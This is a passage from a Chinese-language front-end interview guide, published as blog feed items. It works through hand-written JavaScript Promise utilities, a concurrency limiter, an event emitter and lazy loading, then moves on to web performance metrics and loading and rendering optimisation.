&lt;h3&gt;T11: 手写 Promise.all ⭐⭐ 🔥&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;function promiseAll(promises) {
  return new Promise((resolve, reject) =&amp;gt; {
    const results = [];
    let count = 0;
    const list = Array.from(promises);     // 支持可迭代对象
    if (list.length === 0) return resolve([]);

    list.forEach((p, i) =&amp;gt; {
      // Promise.resolve 包装：兼容非 Promise 值
      Promise.resolve(p).then(
        value =&amp;gt; {
          results[i] = value;              // 按索引存，保证顺序
          if (++count === list.length) resolve(results);  // 全部完成才 resolve
        },
        reject                             // 任意一个失败立即 reject
      );
    });
  });
}

// 验证
promiseAll([Promise.resolve(1), 2, Promise.resolve(3)])
  .then(console.log);  // [1, 2, 3]
promiseAll([Promise.resolve(1), Promise.reject(&apos;err&apos;)])
  .catch(console.log);  // &apos;err&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;追问：&lt;/strong&gt; 为什么用 &lt;code&gt;results[i]&lt;/code&gt; 而不是 &lt;code&gt;results.push&lt;/code&gt;？—— then 回调执行顺序不定，push 会乱序；按索引赋值保证与输入顺序一致。&lt;/p&gt;
&lt;h3&gt;T12: 手写 Promise.race / allSettled / any ⭐⭐&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// race：第一个完成（无论成败）决定结果
function promiseRace(promises) {
  return new Promise((resolve, reject) =&amp;gt; {
    for (const p of promises) {
      Promise.resolve(p).then(resolve, reject);  // 谁先谁赢
    }
  });
}

// allSettled：全部结束，返回每项状态
function promiseAllSettled(promises) {
  return promiseAll(
    Array.from(promises).map(p =&amp;gt;
      Promise.resolve(p)
        .then(value =&amp;gt; ({ status: &apos;fulfilled&apos;, value }))
        .catch(reason =&amp;gt; ({ status: &apos;rejected&apos;, reason }))
    )
  );
}

// any：第一个成功决定结果；全失败才失败（AggregateError）
function promiseAny(promises) {
  return new Promise((resolve, reject) =&amp;gt; {
    const errors = [];
    let count = 0;
    const list = Array.from(promises);
    list.forEach((p, i) =&amp;gt; {
      Promise.resolve(p).then(resolve, err =&amp;gt; {
        errors[i] = err;
        if (++count === list.length) {
          reject(new AggregateError(errors, &apos;All promises were rejected&apos;));
        }
      });
    });
  });
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;T13: 手写 Promise（A+ 简化版）⭐⭐⭐&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;class MyPromise {
  constructor(executor) {
    this.state = &apos;pending&apos;;
    this.value = undefined;
    this.callbacks = [];                    // pending 期间收集的回调

    const resolve = value =&amp;gt; this.#settle(&apos;fulfilled&apos;, value);
    const reject = reason =&amp;gt; this.#settle(&apos;rejected&apos;, reason);
    try { executor(resolve, reject); } catch (e) { reject(e); }
  }

  #settle(state, value) {
    if (this.state !== &apos;pending&apos;) return;   // 状态不可逆
    this.state = state;
    this.value = value;
    this.callbacks.forEach(cb =&amp;gt; cb());     // 异步触发已收集回调
  }

  then(onFulfilled, onRejected) {
    // 穿透处理：then() 不传参时值要能传递下去
    onFulfilled = typeof onFulfilled === &apos;function&apos; ? onFulfilled : v =&amp;gt; v;
    onRejected = typeof onRejected === &apos;function&apos; ? onRejected : e =&amp;gt; { throw e; };

    const promise2 = new MyPromise((resolve, reject) =&amp;gt; {
      const handle = () =&amp;gt; {
        // 用宏任务模拟微任务，保证异步调用
        setTimeout(() =&amp;gt; {
          try {
            if (this.state === &apos;fulfilled&apos;) {
              const x = onFulfilled(this.value);
              resolvePromise(promise2, x, resolve, reject);
            } else {
              const x = onRejected(this.value);
              resolvePromise(promise2, x, resolve, reject);
            }
          } catch (e) { reject(e); }
        }, 0);
      };
      this.state === &apos;pending&apos; ? this.callbacks.push(handle) : handle();
    });
    return promise2;                        // 返回新 Promise 支持链式调用
  }

  catch(onRejected) { return this.then(null, onRejected); }
}

// A+ 核心：解析 then 回调的返回值
function resolvePromise(promise2, x, resolve, reject) {
  if (promise2 === x) {
    return reject(new TypeError(&apos;Chaining cycle detected&apos;));
  }
  if (x !== null &amp;amp;&amp;amp; (typeof x === &apos;object&apos; || typeof x === &apos;function&apos;)) {
    let called = false;
    try {
      const then = x.then;
      if (typeof then === &apos;function&apos;) {
        then.call(x,
          y =&amp;gt; { if (!called) { called = true; resolvePromise(promise2, y, resolve, reject); } },
          r =&amp;gt; { if (!called) { called = true; reject(r); } }
        );
      } else { resolve(x); }
    } catch (e) {
      if (!called) { called = true; reject(e); }
    }
  } else { resolve(x); }                    // 普通值直接 resolve
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;追问：&lt;/strong&gt; 为什么需要 resolvePromise 递归解析？—— then 回调可能返回另一个 Promise，必须等它 settle 后再决定 promise2 的状态。&lt;/p&gt;
&lt;h3&gt;T14: 手写 async/await 的生成器实现（run 函数）⭐⭐⭐&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// async 语法糖 = 生成器 + 自动执行器
function run(generatorFn) {
  return new Promise((resolve, reject) =&amp;gt; {
    const gen = generatorFn();
    function step(nextFn) {
      let result;
      try {
        result = nextFn();
      } catch (e) {
        return reject(e);                   // 生成器内抛错 → reject
      }
      if (result.done) return resolve(result.value);
      // yield 的值包装成 Promise，then 里递归驱动下一步
      Promise.resolve(result.value).then(
        v =&amp;gt; step(() =&amp;gt; gen.next(v)),       // 成功值送回生成器
        e =&amp;gt; step(() =&amp;gt; gen.throw(e))       // 错误抛回生成器（可被 try/catch 捕获）
      );
    }
    step(() =&amp;gt; gen.next());
  });
}

// 使用（等价于 async/await）
const fetchUser = run(function* () {
  const res = yield fetch(&apos;/api/user&apos;);
  const data = yield res.json();
  return data;
});
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;T15: 手写并发控制器（限制并发数）⭐⭐⭐ 🔥&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// 经典题：最多同时执行 limit 个异步任务
function asyncPool(limit, tasks) {
  return new Promise((resolve, reject) =&amp;gt; {
    const results = [];
    const executing = new Set();            // 正在执行的 Promise 集合
    let index = 0;

    async function runNext() {
      if (index &amp;gt;= tasks.length) {
        // 全部派发完，等待剩余任务结束
        await Promise.all(executing);
        return resolve(results);
      }
      const i = index++;
      const task = Promise.resolve()
        .then(() =&amp;gt; tasks[i]())             // tasks[i] 是返回 Promise 的函数
        .then(
          v =&amp;gt; { results[i] = v; },
          e =&amp;gt; { results[i] = e; }          // 单个失败不中断（可改为 reject）
        );
      executing.add(task);
      task.then(() =&amp;gt; executing.delete(task));

      if (executing.size &amp;gt;= limit) {
        await Promise.race(executing);      // 满了就等最快的一个腾出位置
      }
      runNext();                            // 递归派发下一个
    }
    runNext();
  });
}

// 使用
const tasks = urls.map(url =&amp;gt; () =&amp;gt; fetch(url).then(r =&amp;gt; r.json()));
const results = await asyncPool(3, tasks);  // 最多 3 个并发

// 追问：为什么用 Promise.race 而不是 Promise.all？
// race 等&quot;最快的一个&quot;完成就继续派发，保持并发池满载；
// all 要等全部完成，并发度会塌缩。
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;T16: 手写 sleep / 超时控制 / 请求重试 ⭐⭐&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// sleep
const sleep = ms =&amp;gt; new Promise(resolve =&amp;gt; setTimeout(resolve, ms));

// 超时控制（Promise.race 实战）
function withTimeout(promise, ms) {
  return Promise.race([
    promise,
    sleep(ms).then(() =&amp;gt; Promise.reject(new Error(&apos;timeout&apos;))),
  ]);
}
withTimeout(fetch(&apos;/api/slow&apos;), 3000);

// 请求重试（指数退避）
async function retry(fn, times = 3, delay = 1000) {
  for (let i = 0; i &amp;lt; times; i++) {
    try {
      return await fn();
    } catch (e) {
      if (i === times - 1) throw e;         // 最后一次仍失败 → 抛出
      await sleep(delay * Math.pow(2, i));  // 1s → 2s → 4s
    }
  }
}
retry(() =&amp;gt; fetch(&apos;/api/unstable&apos;).then(r =&amp;gt; {
  if (!r.ok) throw new Error(r.status);
  return r.json();
}), 3);
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;设计模式类&lt;/h2&gt;
&lt;h3&gt;T17: 手写发布订阅（EventEmitter）⭐⭐ 🔥&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;class EventEmitter {
  constructor() {
    this.events = new Map();                // eventName → Set&amp;lt;callback&amp;gt;
  }

  on(name, fn) {
    if (!this.events.has(name)) this.events.set(name, new Set());
    this.events.get(name).add(fn);
    return this;                            // 支持链式调用
  }

  off(name, fn) {
    const set = this.events.get(name);
    if (set) {
      set.delete(fn);
      if (set.size === 0) this.events.delete(name);
    }
    return this;
  }

  once(name, fn) {
    const wrapper = (...args) =&amp;gt; {
      fn.apply(this, args);
      this.off(name, wrapper);              // 执行后自动移除
    };
    this.on(name, wrapper);
    return this;
  }

  emit(name, ...args) {
    this.events.get(name)?.forEach(fn =&amp;gt; fn.apply(this, args));
    return this;
  }
}

// 使用
const bus = new EventEmitter();
const handler = data =&amp;gt; console.log(&apos;got:&apos;, data);
bus.on(&apos;msg&apos;, handler);
bus.once(&apos;login&apos;, u =&amp;gt; console.log(&apos;welcome&apos;, u));
bus.emit(&apos;msg&apos;, &apos;hello&apos;);   // got: hello
bus.emit(&apos;login&apos;, &apos;Tom&apos;);   // welcome Tom
bus.emit(&apos;login&apos;, &apos;Tom&apos;);   // 无输出（once 已移除）
bus.off(&apos;msg&apos;, handler);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;追问：&lt;/strong&gt; Vue2 的 &lt;code&gt;$on/$emit&lt;/code&gt;、Node 的 &lt;code&gt;EventEmitter&lt;/code&gt;、跨组件通信总线都是这个模式。&lt;/p&gt;
&lt;h3&gt;T18: 手写懒加载 / IntersectionObserver 封装 ⭐⭐&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// 图片懒加载封装（实战常用）
class LazyLoad {
  constructor(selector = &apos;img[data-src]&apos;, options = {}) {
    this.observer = new IntersectionObserver(entries =&amp;gt; {
      entries.forEach(entry =&amp;gt; {
        if (!entry.isIntersecting) return;
        const img = entry.target;
        img.src = img.dataset.src;
        img.onload = img.onerror = () =&amp;gt; this.observer.unobserve(img);
      });
    }, {
      rootMargin: options.rootMargin || &apos;200px&apos;,  // 提前 200px 加载
      threshold: 0,
    });
    document.querySelectorAll(selector).forEach(el =&amp;gt; this.observer.observe(el));
  }

  destroy() { this.observer.disconnect(); }
}

new LazyLoad();  // 自动接管页面所有 img[data-src]

// 追问：为什么不用 scroll 事件 + getBoundingClientRect？
// scroll 高频触发性能差，getBoundingClientRect 强制同步布局；
// IntersectionObserver 由浏览器异步计算，不阻塞主线程。
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;复习卡片&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
&lt;strong&gt;手写题优先级清单&lt;/strong&gt;（按出现频率排序）&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;优先级&lt;/th&gt;
&lt;th&gt;题目&lt;/th&gt;
&lt;th&gt;关键考点&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;P0 必会&lt;/td&gt;
&lt;td&gt;防抖/节流&lt;/td&gt;
&lt;td&gt;this 透传、cancel、时间戳 vs 定时器&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;P0 必会&lt;/td&gt;
&lt;td&gt;深拷贝&lt;/td&gt;
&lt;td&gt;WeakMap 循环引用、Date/RegExp/Symbol 键&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;P0 必会&lt;/td&gt;
&lt;td&gt;Promise.all&lt;/td&gt;
&lt;td&gt;索引保序、计数、单个失败即 reject&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;P0 必会&lt;/td&gt;
&lt;td&gt;call/apply/bind&lt;/td&gt;
&lt;td&gt;Symbol 挂载、原型链维护、new 兼容&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;P0 必会&lt;/td&gt;
&lt;td&gt;并发控制&lt;/td&gt;
&lt;td&gt;Promise.race 腾位、结果保序&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;P1 高频&lt;/td&gt;
&lt;td&gt;new/instanceof&lt;/td&gt;
&lt;td&gt;原型链遍历、返回对象优先级&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;P1 高频&lt;/td&gt;
&lt;td&gt;发布订阅&lt;/td&gt;
&lt;td&gt;once 包装、Set 存储、链式返回&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;P1 高频&lt;/td&gt;
&lt;td&gt;数组扁平化&lt;/td&gt;
&lt;td&gt;递归/迭代/toString 三种写法&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;P2 加分&lt;/td&gt;
&lt;td&gt;Promise 手写&lt;/td&gt;
&lt;td&gt;A+ 状态机、resolvePromise、穿透&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;P2 加分&lt;/td&gt;
&lt;td&gt;柯里化&lt;/td&gt;
&lt;td&gt;fn.length、递归收集参数&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;P2 加分&lt;/td&gt;
&lt;td&gt;重试/超时&lt;/td&gt;
&lt;td&gt;指数退避、Promise.race&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;练习建议&lt;/strong&gt;：每题至少独立手写 3 遍（看题解 → 默写 → 隔天再写），面试白板环境没有代码提示，肌肉记忆很重要。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
下一篇：&lt;a href=&quot;/blog/posts/interview-guide-15-engineering-practice/&quot;&gt;前端工程化实践面试题&lt;/a&gt; 涵盖 Monorepo、微前端（qiankun/Module Federation）、组件库设计、npm 发包、CI/CD、灰度发布等中高级必考的工程化落地实践。&lt;/p&gt;
&lt;p&gt;返回 &lt;a href=&quot;/blog/posts/interview-guide-00-overview/&quot;&gt;面试宝典总览&lt;/a&gt; | &lt;a href=&quot;/blog/interview-guide/&quot;&gt;面试宝典合集页&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
</content:encoded></item><item><title>前端性能优化面试题（中高级核心考点）</title><link>http://117.72.32.87/blog/posts/interview-guide-13-performance/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/interview-guide-13-performance/</guid><description>讲解核心指标 LCP/INP/CLS、加载优化、渲染优化、内存泄漏排查、Performance API 监控与真实优化案例。</description><pubDate>Wed, 16 Sep 2026 09:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;[!NOTE]
本文包含 20+ 道性能优化面试题，这是中高级岗位&lt;strong&gt;最能拉开差距&lt;/strong&gt;的模块，难度标注：⭐ 基础 · ⭐⭐ 进阶 · ⭐⭐⭐ 高级 · 🔥 高频必考&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;指标体系&lt;/h2&gt;
&lt;h3&gt;Q1: 有哪些常见的性能指标？⭐ 🔥&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;答：&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;指标&lt;/th&gt;
&lt;th&gt;全称&lt;/th&gt;
&lt;th&gt;含义&lt;/th&gt;
&lt;th&gt;优秀标准&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;FCP&lt;/td&gt;
&lt;td&gt;First Contentful Paint&lt;/td&gt;
&lt;td&gt;首次内容绘制&lt;/td&gt;
&lt;td&gt;&amp;lt; 1.8s&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;LCP&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Largest Contentful Paint&lt;/td&gt;
&lt;td&gt;最大内容绘制（加载体验）&lt;/td&gt;
&lt;td&gt;&amp;lt; 2.5s&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;INP&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Interaction to Next Paint&lt;/td&gt;
&lt;td&gt;交互到下一帧绘制（2024 取代 FID）&lt;/td&gt;
&lt;td&gt;&amp;lt; 200ms&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CLS&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Cumulative Layout Shift&lt;/td&gt;
&lt;td&gt;累计布局偏移（视觉稳定性）&lt;/td&gt;
&lt;td&gt;&amp;lt; 0.1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;TTFB&lt;/td&gt;
&lt;td&gt;Time To First Byte&lt;/td&gt;
&lt;td&gt;首字节时间（服务端响应）&lt;/td&gt;
&lt;td&gt;&amp;lt; 800ms&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;FP&lt;/td&gt;
&lt;td&gt;First Paint&lt;/td&gt;
&lt;td&gt;首次绘制（可能只是背景色）&lt;/td&gt;
&lt;td&gt;-&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;白屏时间&lt;/td&gt;
&lt;td&gt;-&lt;/td&gt;
&lt;td&gt;用户看到第一个像素前的时间&lt;/td&gt;
&lt;td&gt;-&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Core Web Vitals（核心 Web 指标）= LCP + INP + CLS&lt;/strong&gt;，Google 搜索排名因素。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// FID 为什么被 INP 取代？
// FID 只测量&quot;第一次交互的输入延迟&quot;，忽略处理耗时和绘制耗时
// INP 测量页面整个生命周期内所有交互的响应性，取最差值（P98）
// INP = 输入延迟 + 处理时间 + 渲染延迟（全部计入）
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Q2: 如何测量这些指标？⭐⭐&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// 1. Performance API（LCP 示例）
new PerformanceObserver((list) =&amp;gt; {
  const entries = list.getEntries();
  const lastEntry = entries[entries.length - 1];
  console.log(&apos;LCP:&apos;, lastEntry.startTime);
}).observe({ type: &apos;largest-contentful-paint&apos;, buffered: true });

// 2. CLS
let clsScore = 0;
new PerformanceObserver((list) =&amp;gt; {
  for (const entry of list.getEntries()) {
    if (!entry.hadRecentInput) clsScore += entry.value;
  }
}).observe({ type: &apos;layout-shift&apos;, buffered: true });

// 3. web-vitals 库（Google 官方，一行搞定）
import { onLCP, onINP, onCLS } from &apos;web-vitals&apos;;
onLCP(console.log);
onINP(console.log);
onCLS(console.log);

// 4. 工具：Lighthouse（实验室数据）、Chrome DevTools Performance 面板、
//    线上 RUM（真实用户监控，上报到自建平台）
// 实验室数据（Lab）：Lighthouse，可复现但非真实用户
// 真实用户数据（Field/RUM）： CrUX、自建上报，反映真实体验
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;加载性能优化&lt;/h2&gt;
&lt;h3&gt;Q3: 从输入 URL 到页面展示，有哪些优化点？⭐⭐⭐ 🔥&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;答：&lt;/strong&gt; 这是一道&quot;串联所有知识&quot;的大题，按阶段答：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;输入 URL → DNS → TCP/TLS → HTTP 请求 → 服务器处理 → 响应 → 解析渲染

各阶段优化手段：
┌─────────────┬──────────────────────────────────────┐
│ DNS         │ dns-prefetch 预解析                   │
│ TCP/TLS     │ preconnect 预连接、TLS1.3、HTTP/2     │
│ HTTP 请求   │ CDN、缓存（强缓存/协商缓存）、         │
│             │ Gzip/Brotli、减少请求数（合并/雪碧图） │
│ 服务器      │ SSR、接口聚合（BFF）、数据库优化       │
│ 资源体积    │ 压缩、Tree Shaking、代码分割、         │
│             │ 图片 WebP/AVIF、按需加载              │
│ 解析渲染    │ defer/async、关键 CSS 内联、           │
│             │ 减少重排重绘、GPU 加速                │
└─────────────┴──────────────────────────────────────┘
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!-- 资源提示（Resource Hints）--&amp;gt;
&amp;lt;link rel=&quot;dns-prefetch&quot; href=&quot;//api.example.com&quot;&amp;gt;
&amp;lt;link rel=&quot;preconnect&quot; href=&quot;//cdn.example.com&quot; crossorigin&amp;gt;
&amp;lt;link rel=&quot;preload&quot; href=&quot;/fonts/main.woff2&quot; as=&quot;font&quot; crossorigin&amp;gt;
&amp;lt;link rel=&quot;prefetch&quot; href=&quot;/next-page.js&quot;&amp;gt;  &amp;lt;!-- 空闲时预取下一页 --&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Q4: script 标签的 defer 和 async 区别？⭐ 🔥&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;script src=&quot;a.js&quot;&amp;gt;&amp;lt;/script&amp;gt;          &amp;lt;!-- 同步：阻塞解析，顺序执行 --&amp;gt;
&amp;lt;script src=&quot;b.js&quot; async&amp;gt;&amp;lt;/script&amp;gt;    &amp;lt;!-- 异步下载，下载完立即执行（打断解析，顺序不定）--&amp;gt;
&amp;lt;script src=&quot;c.js&quot; defer&amp;gt;&amp;lt;/script&amp;gt;    &amp;lt;!-- 异步下载，HTML 解析完后按顺序执行 --&amp;gt;

/*
时间线对比：
普通:   解析──停─下载─执行─解析──停─下载─执行─解析
async:  解析────解析────解析（下载完就插队执行）
defer:  解析────解析────解析│DOMContentLoaded前统一执行

使用建议：
- 无依赖的统计脚本 → async
- 有依赖顺序的业务脚本 → defer
- 都不加 → 阻塞渲染，尽量避免
*/
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Q5: 代码分割（Code Splitting）怎么做？⭐⭐ 🔥&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// 1. 路由懒加载（收益最大，首屏只加载当前路由）
// Vue Router
const routes = [
  { path: &apos;/detail&apos;, component: () =&amp;gt; import(&apos;./Detail.vue&apos;) },
];
// React Router
const Detail = React.lazy(() =&amp;gt; import(&apos;./Detail&apos;));

// 2. 组件级懒加载（重型组件：编辑器、图表库）
const Editor = defineAsyncComponent(() =&amp;gt; import(&apos;./Editor.vue&apos;));

// 3. 第三方库拆分（Vite manualChunks）
build: {
  rollupOptions: {
    output: {
      manualChunks: {
        vue: [&apos;vue&apos;, &apos;vue-router&apos;, &apos;pinia&apos;],
        echarts: [&apos;echarts&apos;],      // 大库独立 chunk，可长期缓存
      },
    },
  },
}

// 4. 条件加载（按环境/权限）
if (needExport) {
  const { exportToExcel } = await import(&apos;./excel-utils&apos;);
}

// 分割原则：
// - 首屏必需 → 主包；非首屏 → 懒加载
// - 体积大、更新少的库 → 独立 chunk（利用缓存）
// - 过度分割反而增加请求数，HTTP/2 下控制在合理范围
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Q6: 图片优化有哪些手段？⭐ 🔥&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!-- 1. 现代格式：WebP（体积约为 JPEG 的 1/3）、AVIF --&amp;gt;
&amp;lt;picture&amp;gt;
  &amp;lt;source srcset=&quot;img.avif&quot; type=&quot;image/avif&quot;&amp;gt;
  &amp;lt;source srcset=&quot;img.webp&quot; type=&quot;image/webp&quot;&amp;gt;
  &amp;lt;img src=&quot;img.jpg&quot; alt=&quot;desc&quot;&amp;gt;
&amp;lt;/picture&amp;gt;

&amp;lt;!-- 2. 响应式图片：按屏幕加载合适尺寸 --&amp;gt;
&amp;lt;img srcset=&quot;img-480.jpg 480w, img-800.jpg 800w&quot;
     sizes=&quot;(max-width: 600px) 480px, 800px&quot;
     src=&quot;img-800.jpg&quot; alt=&quot;desc&quot;&amp;gt;

&amp;lt;!-- 3. 原生懒加载 --&amp;gt;
&amp;lt;img src=&quot;img.jpg&quot; loading=&quot;lazy&quot; alt=&quot;desc&quot;&amp;gt;

&amp;lt;!-- 4. LCP 图片反而要 preload + fetchpriority --&amp;gt;
&amp;lt;link rel=&quot;preload&quot; as=&quot;image&quot; href=&quot;/hero.webp&quot; fetchpriority=&quot;high&quot;&amp;gt;
&amp;lt;img src=&quot;/hero.webp&quot; fetchpriority=&quot;high&quot; alt=&quot;hero&quot;&amp;gt;

&amp;lt;!-- 5. 占位防抖动（配合 CLS）：必须写宽高 --&amp;gt;
&amp;lt;img src=&quot;img.jpg&quot; width=&quot;800&quot; height=&quot;450&quot; alt=&quot;desc&quot;&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;// 6. 虚拟滚动场景：IntersectionObserver 手动懒加载
const observer = new IntersectionObserver((entries) =&amp;gt; {
  entries.forEach(e =&amp;gt; {
    if (e.isIntersecting) {
      const img = e.target;
      img.src = img.dataset.src;   // data-src 存真实地址
      observer.unobserve(img);
    }
  });
});
document.querySelectorAll(&apos;img[data-src]&apos;).forEach(img =&amp;gt; observer.observe(img));

// 7. 构建层：vite-plugin-imagemin 压缩、雪碧图（SVG symbol）
// 8. CDN：URL 参数动态裁剪缩放（?x-oss-process=image/resize,w_400）
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Q7: 首屏白屏时间怎么优化？⭐⭐⭐ 🔥&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;白屏时间构成：DNS + TCP + TTFB + HTML下载 + CSS/JS下载解析

优化手段（按投入产出比排序）：

1. 静态资源上 CDN（TTFB 大幅下降）
2. 开启 Gzip/Brotli（体积降 60-80%）
3. 强缓存 + 文件 hash（二次访问秒开）
4. 路由懒加载 + 分包（减小首屏 JS）
5. 骨架屏 / Loading（体验兜底，非真优化）
6. SSR / SSG（HTML 直出，FCP 最快）
   - SSG：构建时生成（博客、官网）
   - SSR：请求时渲染（个性化内容）
   - 流式 SSR / 岛屿架构：更快 TTFB + 局部 hydration
7. 预渲染（prerender）：SSG 的轻量替代
8. 关键 CSS 内联到 &amp;lt;head&amp;gt;，非关键 CSS 异步加载
9. 接口预请求：HTML 内联 script 提前发起首屏接口，
   与 JS 下载并行，省掉串行等待
10. 客户端缓存首屏数据（localStorage），
    先渲染缓存再静默刷新（SWR 模式）
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;渲染性能优化&lt;/h2&gt;
&lt;h3&gt;Q8: 浏览器渲染流程？哪里会阻塞？⭐⭐ 🔥&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;HTML → DOM 树
              ↘
               Render 树 → Layout（布局）→ Paint（绘制）→ Composite（合成）
              ↗
CSS  → CSSOM

阻塞点：
1. CSS 阻塞渲染：CSSOM 构建完才能合成 Render 树
2. CSS 间接阻塞 JS：JS 执行前要等前面的 CSS 下载完
3. JS 阻塞解析：同步 script 会暂停 HTML 解析
4. Layout 抖动：JS 频繁读写几何属性触发强制同步布局
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Q9: 重排和重绘？如何减少？⭐⭐ 🔥&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// 重排（Reflow/Layout）：几何变化 → 重新计算布局（贵）
// 重绘（Repaint）：外观变化不影响布局（较贵）
// 合成（Composite）：仅 transform/opacity → GPU 处理（最便宜）
// 关系：重排必重绘，重绘不一定重排

// 触发重排的操作：
// - 改变窗口大小、字体
// - 增删 DOM、元素位置/尺寸变化
// - 读取几何属性（offsetTop/clientWidth/getComputedStyle）
//   ← 高频坑！读取会强制刷新布局队列（强制同步布局）

// ❌ 布局抖动（Layout Thrashing）
for (let i = 0; i &amp;lt; 1000; i++) {
  const el = document.getElementById(`item-${i}`);
  el.style.width = el.offsetWidth + 10 + &apos;px&apos;;  // 读写交替，1000 次强制布局
}

// ✅ 读写分离：先批量读，再批量写
const widths = els.map(el =&amp;gt; el.offsetWidth);   // 集中读
els.forEach((el, i) =&amp;gt; el.style.width = widths[i] + 10 + &apos;px&apos;);  // 集中写

// ✅ requestAnimationFrame 分批写
function batchUpdate() {
  els.forEach(el =&amp;gt; el.style.transform = &apos;translateX(10px)&apos;);
}
requestAnimationFrame(batchUpdate);

// 其他手段：
// - transform/opacity 代替 top/left（走合成层，不重排）
// - will-change: transform 提升合成层（慎用，层爆炸）
// - 绝对定位让动画元素脱离文档流
// - display: none 批量修改后一次显示
// - DocumentFragment 批量 DOM 操作
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Q10: 长列表（10 万条数据）如何渲染？⭐⭐⭐ 🔥&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;虚拟列表（Virtual List）核心思想：
只渲染可视区域 + 上下缓冲区的 DOM（约 20-30 个），
滚动时动态替换内容和位置。

┌─────────────┐ ← 外层容器（撑开总高度：10万 × 行高）
│  (占位)      │ ← transform: translateY(偏移)
│ ┌─────────┐ │
│ │ 可视区   │ │ ← 只渲染这一屏的条目
│ │ item 51 │ │
│ │ item 52 │ │
│ │ ...     │ │
│ └─────────┘ │
│  (占位)      │
└─────────────┘

核心计算：
startIndex = Math.floor(scrollTop / itemHeight)
endIndex = startIndex + Math.ceil(viewportHeight / itemHeight)
visibleData = list.slice(startIndex - buffer, endIndex + buffer)
offsetY = startIndex * itemHeight
